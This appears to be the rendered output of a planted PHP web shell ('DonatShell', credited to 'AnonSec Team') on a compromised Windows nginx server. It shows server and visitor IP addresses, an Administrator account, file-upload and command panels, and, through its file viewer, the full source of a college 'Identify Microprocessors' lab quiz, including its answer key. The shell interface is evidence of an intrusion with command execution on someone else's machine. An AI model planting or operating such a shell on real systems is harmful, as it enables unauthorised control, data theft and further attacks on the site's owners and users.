GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/Lab02 - Copy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/Lab02 - Copy/index.php
<?
// Lab01/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');

#setDebugOn();
setDebugOff();
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('../classInfo.phpinc');
$assignmentNumber = 2;
$assignmentType = "Lab";
$assignmentTitle = "Identify Microprocessors";
$evaluationType = "Lab";
$f_evaluationTitle = $evaluationType.' '.$assignmentNumber;
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { 
$assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; }
$title = $evaluationType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
$userFullName = str_replace(" ","",$_SESSION['userFullName']);

// Check if the student is in the class.
include('Course/studentInClass.phpinc');
if (!$f_classId) {
?>
				<p>
				<b>You do not seem to be in this class.</b><br />
				If you feel this is an error, try taking <?=$f_evaluationTitle?> from the link on the <a href="./Schedule.php">Schedule</a>.<br />
				If that does not work please contact your Instructor.
				</p>
<?
  $thisFile=__FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');
}
// Get evaluation info from f_classId and f_evaluationTitle.
$query = "
    SELECT evaluationId,
           classId,
           evaluationOrder,
           evaluationSubOrder,
           evaluationType,
           evaluationTitle,
           evaluationDescription,
           evaluationPoints,
           evaluationWeight,
           evaluationCritical,
           evaluationExtraCredit,
           evaluationDueDate,
           evaluationIsHidden,
           evaluationRevealDate,
           evaluationInactive,
           lastModified,
           modifiedBy
      FROM `evaluation`
     WHERE classId = ".$f_classId."
       AND evaluationTitle = '".mysql_safe($f_evaluationTitle)."'
";
$evaluationResult = query_do($query);
$evaluationResultCount = $_SESSION['qry']['count'];
if (!$evaluationResultCount) {
  $f_messageError = $courseNumber.' evaluation "'.$f_evaluationTitle.'" was not found in the evaluation table for classId='.$f_classId.'.';
  $thisFile=__FILE__; $thisLine=__LINE__; include('common/programmingError.phpinc');
}
mysql_data_seek($evaluationResult, 0);
$evaluationRow = mysql_fetch_assoc($evaluationResult);
$f_evaluationId = $evaluationRow['evaluationId'];
#$f_evaluationTitle = $evaluationRow['f_evaluationTitle'];
$f_evaluationDescription = $evaluationRow['evaluationDescription'];
$f_evaluationPoints = $evaluationRow['evaluationPoints'];
$f_evaluationWeight = $evaluationRow['evaluationWeight'];
if (dc()) printVar('$courseNumber',$courseNumber);
if (dc()) printVar('$courseTitle',$courseTitle);
if (dc()) printVar('$f_courseId',$f_courseId);
if (dc()) printVar('$f_classId',$f_classId);
if (dc()) printVar('$f_ClassInstructor',$f_ClassInstructor);
if (dc()) printVar('$f_evaluationId',$f_evaluationId);
if (dc()) printVar('$f_evaluationTitle',$f_evaluationTitle);
if (dc()) printVar('$f_evaluationDescription',$f_evaluationDescription);
if (dc()) printVar('$f_evaluationPoints',$f_evaluationPoints);
if (dc()) printVar('$f_evaluationWeight',$f_evaluationWeight);
// Check for previous grade.
$query = "
		SELECT *
			FROM `grade`
		 WHERE evaluationId = ".$f_evaluationId."
			 AND userId = ".$_SESSION['trueuserId']."
	ORDER BY gradeGrade DESC
";
$gradeResult = query_do($query);
$gradeResultCount = $_SESSION['qry']['count'];
if (dc()) printVar('$gradeResultCount',$gradeResultCount);
#if (dc()) printVar('$_SESSION',$_SESSION);
?>
<fieldset><legend><?=$evaluationType?> <?=$assignmentNumber?> Assignment</legend>
<p>
<?
$QuestionCount = 12;
$SelectId = array();
$SelectClass = array();
$SelectOptions = array("
	0-{ select manufacturer },
	1-AMD,
  2-Intel
  ","
	0-{ select model number },
	1-Athlon 64 3500+,
	2-Athlon II X4 645,
	3-Athlon X2 7750,
	4-Celeron 1.80 GHz,
	5-Core 2 Duo E7500,
	6-Core i5-2500K,
	7-Core i7-870,
	8-Core i7-920,
	9-Phenom II X6 1090T Black Edition,
	10-Phenom X4 9600
	","
	0-{ select cores (number x data width) }
	1-1 x 32 bit,
	2-1 x 64 bit,
	3-2 x 64 bit,
	4-4 x 64 bit,
	5-6 x 64 bit
	","

	");
$SelectSelected = array();
$SelectText = array(
  "Manufacturer.",
	"Model number",
	"Cores (number x data width)",
	"Clock speed (Frequency) (MHz)",
	"Bus speed (MHz)",
	"Clock multipier",
	"Socket type",
	"Cache (type number x size)",
	"Power (Core Voltage, Thermal Design Power)",
	"Date introduced"
	);
$SelectAnswers = array("2,6,8,5,3,1,12,7,11,4,9,10");
$Answers = '';
$f_pointsPerQuestion = $f_evaluationPoints / $QuestionCount;
$pointsPerQuestion = (int) ( $f_pointsPerQuestion * 100 +.5) / 100;
$AnswerCount = $QuestionCount * count($SelectOptions);
$pointsLostPerSubmission = 1;
$pointsLostIfLate = 1;
if (dc()) printVar('$f_pointsPerQuestion',$f_pointsPerQuestion);
if (dc()) printVar('$pointsPerQuestion',$pointsPerQuestion);
if ( $f_form == 'form_Lab01' && $f_task == 'Submit lab for grading' ) {
	// Grade the lab.
	#if (dc()) printVar('$_POST',$_POST);
	$CorrectAnswerCount = 0;
	for ($selectIndex=0; $selectIndex<count($SelectOptions); $selectIndex++) {
		$AnswersArray = explode(",",$SelectAnswers[$selectIndex]);
		// Get each question.
		for ($QuestionNumber=1; $QuestionNumber<=$QuestionCount; $QuestionNumber++ ) {
			$Answer = formvalue($evaluationName.'_'.$QuestionNumber.'_'.$selectIndex);
			$Answers = listAppend($Answers,str_replace("|","`",$Answer),'|');
			#if (dc()) printVar($evaluationName.'_'.$QuestionNumber.'_'.$selectIndex.' answer',$Answer);
			if ( $AnswersArray[$QuestionNumber-1] == $Answer ) $CorrectAnswerCount++;
		}
	}
	if (dc()) printVar('$Answers',$Answers);
	if (dc()) printVar('$CorrectAnswerCount',$CorrectAnswerCount);
	#if (dc()) printVar('$_POST',$_POST);
	$submissionOrdinal = ordinalNumber($gradeResultCount+1);
	if (dc()) printVar('$submissionOrdinal',$submissionOrdinal);
	$pointsLostForSubmissions =  $gradeResultCount * $pointsLostPerSubmission;
	$f_gradeGrade = (int) ( ( ($CorrectAnswerCount * $f_pointsPerQuestion) - $pointsLostForSubmissions ) * 100 +.5) / 100;
	if ( $f_gradeGrade < 0 ) $f_gradeGrade = 0;
	$f_letterGrade = gradeLetterAC(gradePercentage($f_gradeGrade,$f_evaluationPoints));
	$f_letterGradeText = gradeClass($f_letterGrade);
	if (dc()) printVar('$f_gradeGrade',$f_gradeGrade);
	if (dc()) printVar('$f_letterGrade',$f_letterGrade);
	if (dc()) printVar('$f_letterGradeText',$f_letterGradeText);
	if (dc()) printVar('da()',da());
	if (dc()) printVar('dc()',dc());
	// Check if reload.
	if ( $_SESSION['uuid'] != $f_uuid ) {
		if ( $gradeResultCount ) {
			// UPDATE current grades as gradeInactive.
			$query = "
					UPDATE `grade` 
						 SET gradeInactive = 1
					 WHERE evaluationId = ".$f_evaluationId."
						 AND userId = ".$_SESSION['userId']."
			";
			if (dc()) printVar('$query',$query,'q');
			$gradeUpdate = query_do($query);
		}
		// INSERT grade.
		$f_lastModified = currentDateTime();
		$query = "
				INSERT
					INTO `grade` (
					evaluationId,
					userId,
					gradeGrade,
					gradeComment,
					gradeInternalComment,
					gradeInactive,
					lastModified,
					modifiedBy
				) VALUES (
					".$f_evaluationId.",
					".$_SESSION['userId'].",
					".$f_gradeGrade.",
				 '".mysql_safe($f_letterGrade)."',
				 '".mysql_safe($Answers)."',
					0,
				 '".mysql_safe($f_lastModified)."',
					".$_SESSION['trueuserId']."
				)
		";
		if (dc()) printVar('$query',$query,'q');
		$gradeInsert = query_do($query);
		$_SESSION['uuid'] = $f_uuid;
		#$_SESSION['uuid'] = 1;
?>
		<b><?=$f_evaluationTitle?> has been submitted.</b>
<?
	} else {
		// This is a page reload.
		#$_SESSION['uuid'] = 1;
?>
		<b>You have already submitted <?=$f_evaluationTitle?>.</b>
<?
	}
	// Dislay Grade.
?>
	<br>
  You had <?=$CorrectAnswerCount?> correct answer<? if ( $CorrectAnswerCount != 1 ) {?>s<? } ?> of <?=$AnswerCount?> possible in <?=$QuestionCount?> question<? if ( $QuestionCount != 1 ) {?>s<? } ?>.
<?
	if ( $gradeResultCount ) {
?>
   <br>
	You lost <?=$pointsLostForSubmissions?> point<? if ( $pointsLostForSubmissions != 1 ) {?>s<? } ?> because this is your <?=$submissionOrdinal?> submission.
<?
	}
?>
  <br>
  Your grade point<? if ( $f_gradeGrade != 1 ) {?>s<? } ?> <? if ( $f_gradeGrade != 1 ) {?>are<? } else { ?>is<? } ?> <b><?=$f_gradeGrade?></b>. This is a grade of <b><?=$f_letterGradeText?></b> for this assignment.
<?
	
} else {
	// Display the lab.
?>
<form name="form_Lab01" action="<?=php_self()?>" method="post">
<input type="hidden" name="f_form" value="form_Lab01" />
<input type="hidden" name="f_uuid" value="<?=uuid()?>" />
<?
	if ( $gradeResultCount ) {
		$gradeResultRow = mysql_fetch_assoc($gradeResult);
		$gradePoints = $gradeResultRow['gradeGrade'];
		while ( substr($gradePoints,strlen($gradePoints)-1,1) == '0' ) { $gradePoints = substr($gradePoints,0,strlen($gradePoints)-1); }
		if ( substr($gradePoints,strlen($gradePoints)-1,1) == '.' ) $gradePoints = substr($gradePoints,0,strlen($gradePoints)-1);
		$f_letterGrade = gradeLetterAC(gradePercentage($gradePoints,$f_evaluationPoints));
		$f_letterGradeText = gradeClass($f_letterGrade);
?>
		<b>You have already submitted <?=$f_evaluationTitle?>.</b>
    <br>
    Your grade point<? if ( $gradePoints != 1 ) {?>s<? } ?> <? if ( $gradePoints != 1 ) {?>are<? } else { ?>is<? } ?> <b><?=$gradePoints?></b>. This is a grade of <b><?=$f_letterGradeText?></b> for this assignment.
    <br>
    <br>
<?
	}
?>
	For each of the PC components pictured below select the correct component name from the drop down list.
  <br><br>
  <div id="LargeImageContainerDiv" style="float:right; z-index:2;"></div>
  <table>
<?
for ($QuestionNumber=1; $QuestionNumber<=$QuestionCount; $QuestionNumber++ ) {
?>
  <tr style="vertical-align:middle;">
  	<td class="right"><?=$QuestionNumber?>.</td>
    <td><div  class="links" style="background-image: url(<?=$QuestionNumber?>.png); width:200px;; height:200px;">xx<a href="<?=$QuestionNumber?>.png" target="_blank"><img src="<?=$QuestionNumber?>.png" alt="<?=$QuestionNumber?>"></a></div></td>
    <td><? $SelectName = 'f_'.$evaluationName.'_'.$QuestionNumber; include('Common/select.phpinc'); ?></td>
  </tr>
<?
}
#$f_submitOn = false;
if ( !isset($f_submitOn) ) $f_submitOn = true;
?>
  <tr><td colspan="3"><input type="submit" name="f_task" value="Submit lab for grading"<? if ( !$f_submitOn ) { ?> disabled<? } ?>><? if ( !$f_submitOn ) { ?> <span class="info">This lab is not ready for grading.</span><? } ?></td></tr>
  </table>
</form>

<?
}
?>
</fieldset>
<style type="text/css">
.links td {
	border:1px solid red;
	height:200px;
	width:200px;
}
.links a img {
  height: 0;
  width: 0;
  border-width: 0;
}
.links a {
  display:block;
  padding-top: 110px;
}
.links a:hover img {
  position: relative;
  top: -260px;
  left: -90px;
  height: 240px;
  width: 320px;
  border-width: 2px;
  border-color: #0ff;
}
</style>

<fieldset><legend>Grading Criteria</legend><span class="normal">
Each question is worth <?=$pointsPerQuestion?> point<? if ( $pointsPerQuestion != 1 ) {?>s<? } ?>.
<?=$f_evaluationTitle?> has <?=$f_evaluationPoints?> possible point<? if ( $f_evaluationPoints != 1 ) {?>s<? } ?>.
<br />
There are some things I expect. If they are incorrect you will lose the following:
<br />
Second and subsequent submission of work for grading: -1pt per submission.
<br />
Work submitted late: -1pt.
<br />
I reserve the right <b>not</b> to apply the deduction points at my absolute discretion.
</span></fieldset>

<script type="text/javascript">
	function ShowBiggerImage(obj) {
		//document.getElementById("LargeImageContainerDiv").top = obj.top;
		//document.getElementById("LargeImageContainerDiv").left = obj.left;
		document.getElementById("LargeImageContainerDiv").innerHTML = "<img src='" + obj.src + "'+'width=\"500\"' >";
		//obj.width *= 2;
	}
	
	function ShowDefaultImage(obj) {
		document.getElementById("LargeImageContainerDiv").innerHTML = "";
		//obj.width /= 2;
	}
	
	function move_Area(event) {
		event = event || window.event;
		s_left = event.clientX+50;
		s_top = event.clientY+document.body.scrollTop-250;
		s_top = 0;
		if ( s_top < 0 ) s_top = 0;
		alert ('s_left='+s_left+' s_top='+s_top);
		document.getElementById("LargeImageContainerDiv").style.left=s_left+'px';
		document.getElementById("LargeImageContainerDiv").style.top=s_top+'px';
	}
	
	//document.onmousemove = move_Area;
</script>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('../ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');

$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";

?>

Anon7 - 2022
AnonSec Team